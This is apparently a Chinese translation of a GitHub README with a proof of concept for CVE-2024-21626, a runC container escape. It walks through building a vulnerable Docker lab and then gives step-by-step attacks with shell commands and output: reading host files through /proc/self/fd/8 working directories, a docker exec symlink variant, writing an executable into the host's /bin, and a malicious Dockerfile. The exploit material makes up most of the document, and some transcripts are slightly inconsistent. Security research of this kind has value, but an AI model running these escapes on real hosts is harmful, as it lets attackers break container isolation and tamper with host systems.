CVE-2024-21626 的 PoC

阅读我的完整文章以获取详细说明：此处。

在调查 CVE-2024–21626 时，我发现旧版本 Docker 和 runC 中存在一个被忽视的漏洞。想了解更多信息，请阅读以下文章：“探索旧版 Docker 中的隐藏漏洞：CVE-2024–21626 的经验教训”。

环境搭建 🔨

A. 下载并安装 22.04.1-Ubuntu LTS 版本

安装过程中，不要勾选下载系统更新的复选框。

B. 安装增强功能 CD 镜像，以便更轻松地使用虚拟机

插入增强功能 CD 镜像
在挂载的 CD 镜像中打开终端

运行 VBoxLinuxAdditions.run 脚本

demo@demo-pc:/media/demo/VBox_GAs_7.0.14$ sudo ./VBoxLinuxAdditions.run

C. 安装存在漏洞的 Docker 版本及相关组件

设置 Docker 的 apt 仓库

# set up Docker's apt repository: add Docker's official GPG key:
sudo apt update
sudo apt install ca-certificates curl
sudo install -m 0755 -d /etc/apt/keyrings
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
sudo chmod a+r /etc/apt/keyrings/docker.asc

# add the repository to Apt sources:
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update

查找并安装不同组件的相应版本（docker-ce、docker-ce-cli、containerd.io、docker-buildx-plugin）。

# search in the cache reposiroty the docker-ce available packages
apt-cache madison docker-ce | awk '{ print $3 }'
# setup the chosen version
VERSION_STRING=5:24.0.6-1~ubuntu.22.04~jammy

# search in the cache reposiroty the containerd.io and docker-buildx-plugin available packages
apt-cache madison containerd.io | awk '{ print $3 }'
apt-cache madison docker-buildx-plugin | awk '{ print $3 }'docker-buildx-plugin

# install the packages
sudo apt install docker-ce=$VERSION_STRING \
    docker-ce-cli=$VERSION_STRING \
    containerd.io=1.6.4-1 \
    docker-buildx-plugin=0.10.2-1~ubuntu.22.04~jammy

如果软件包太旧而找不到（也可以参考在线旧仓库），或者无法使用 Docker 的 apt 仓库安装 Docker Engine，你可以下载适用于你的发行版的 deb 文件并手动安装。前往 https://download.docker.com/linux/ubuntu/dists/ 或使用我的 GitHub 仓库中的 deb 文件进行安装。

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# install deb files
cd CVE-2024-21626/deb
sudo dpkg -i ./containerd.io_1.6.4-1_amd64.deb \
./docker-ce_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-ce-cli_24.0.6-1~ubuntu.22.04~jammy_amd64.deb \
./docker-buildx-plugin_0.10.2-1~ubuntu.22.04~jammy_amd64.deb

D. 检查已安装的版本

sudo docker version
runc --version    
containerd --version
uname -r

E. 检查内核是否存在漏洞

该漏洞要正常利用，需要存在 openat2 系统调用。可使用以下命令手动检查：

grep openat2 /proc/kallsyms

在某些情况下，可能需要使用我的 GitHub 仓库中提供的以下 golang 脚本来检查 openat2 系统调用是否存在。

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run testOpenat2
cd testOpenat2
./testOpenat2
The unix.Openat2 syscall is present on this system.

该二进制文件是使用以下参数构建的：

env GOOS=linux GOARCH=amd64 go build testOpenat2.go

验证目标是否存在漏洞 🧐

运行 checkVulnerability.sh，看看终端中是否打印出该文件。

# clone CVE-2024-21626 repository
git clone [email protected]:Sk3pper/CVE-2024-21626.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

攻击 1 🦏

通过将工作目录设置为 /proc/self/fd/ 进行利用

# run container with working directory to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

# read host filesystem files inside the container
root@c4c0a9c99be6:.# cat ../../../../../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

通过运行容器进行利用

攻击 2 🐯

通过 docker exec 进行利用：

打开一个终端并执行以下命令

# terminal 1
# run container
demo@demo-pc:~$ sudo docker run --name cve-2024-21626 --rm -it debian:bookworm
# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

打开另一个终端并运行以下命令

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 120

回到第一个终端并访问主机路径文件系统

# terminal 1: find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9
    
root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# read host filesystem files
root@d98de5a852d7:/# cat /proc/9/cwd/../../../../../../../../../etc/hostname
demo-pc

# read container filesystem files
root@d98de5a852d7:/# cat /etc/hostname 
d98de5a852d7

通过 exec 进入运行中的容器进行利用

攻击 3a 🦁

# Attack 3a is attack 1 but adapted to overwrite a host binary

# run container with the working direcotry to /proc/self/fd/8
sudo docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@e5b0730af51d:.# 

# write file in the host container
root@b6873018a7e8:.# cat > ../../../../../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# ../../../../../bin/chmod +x ../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:24 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

通过 exec 进入运行中的容器进行利用

攻击 3b 🦍

# scenario 3b: host binary overwrite attack
# Attack 3b is attack 2 but adapted to overwrite a host binary

# terminal 1
# run container
sudo docker run --name cve-2024-21626 --rm -it debian:bookworm

# create symlinks
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /foo
root@d98de5a852d7:/# ln -sf /proc/self/fd/8/ /bar

# terminal 2: exec inside the container and set working directory
sudo docker exec -it -w /bar cve-2024-21626 sleep 1000

# terminal 1
# find actula pid with the right cmdline
root@d98de5a852d7:/# ls -f /proc
.    irq   kmsg   kcore   mdstat   cpuinfo  sysvipc   softirqs  bootconfig  execdomains    sysrq-trigger      15
..   net   misc   locks   mounts   devices  version   zoneinfo  interrupts  filesystems    version_signature
fb   sys   mtrr   swaps   uptime   ioports  consoles  buddyinfo  kpagecount  kpagecgroup    self
fs   tty   scsi   asound  vmstat   loadavg  kallsyms  diskstats  kpageflags  vmallocinfo    thread-self
bus  acpi  stat   crypto  cgroups  meminfo  pressure  key-users  partitions  pagetypeinfo   1
dma  keys  iomem  driver  cmdline  modules  slabinfo  schedstat  timer_list  dynamic_debug  9

root@d98de5a852d7:/# cat /proc/9/cmdline 
sleep120

# write file in the host container
root@b6873018a7e8:.# cat > /proc/8/cwd/../../../../bin/cve2024_21626 << EOF
#!/bin/bash
echo "Hello CVE-2024-21626"
EOF

# change chmod
root@b6873018a7e8:.# /proc/8/cwd/../../../../bin/chmod +x \
                     /proc/8/cwd/../../../../bin/cve2024_21626
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

# check if the file is present in the host
demo@demo-pc:/bin$ ls -la | grep cve
-rwxr-xr-x  1 root root          40 mar  7 13:39 cve2024_21626

# try it in the host
demo@demo-pc:/bin$ sudo ./cve2024_21626 
Hello CVE-2024-21626

使用恶意镜像进行攻击 🐳

给定以下 Dockerfile

FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
WORKDIR /proc/self/fd/8

构建并运行该镜像

sudo docker  build . -t devil-image

sudo docker run -it --rm devil-image bash
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory

root@415a2e1f079f:.# cat ../../../../../etc/hostname
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
demo-pc

通过恶意镜像进行利用

CVE-2024-21626

最受欢迎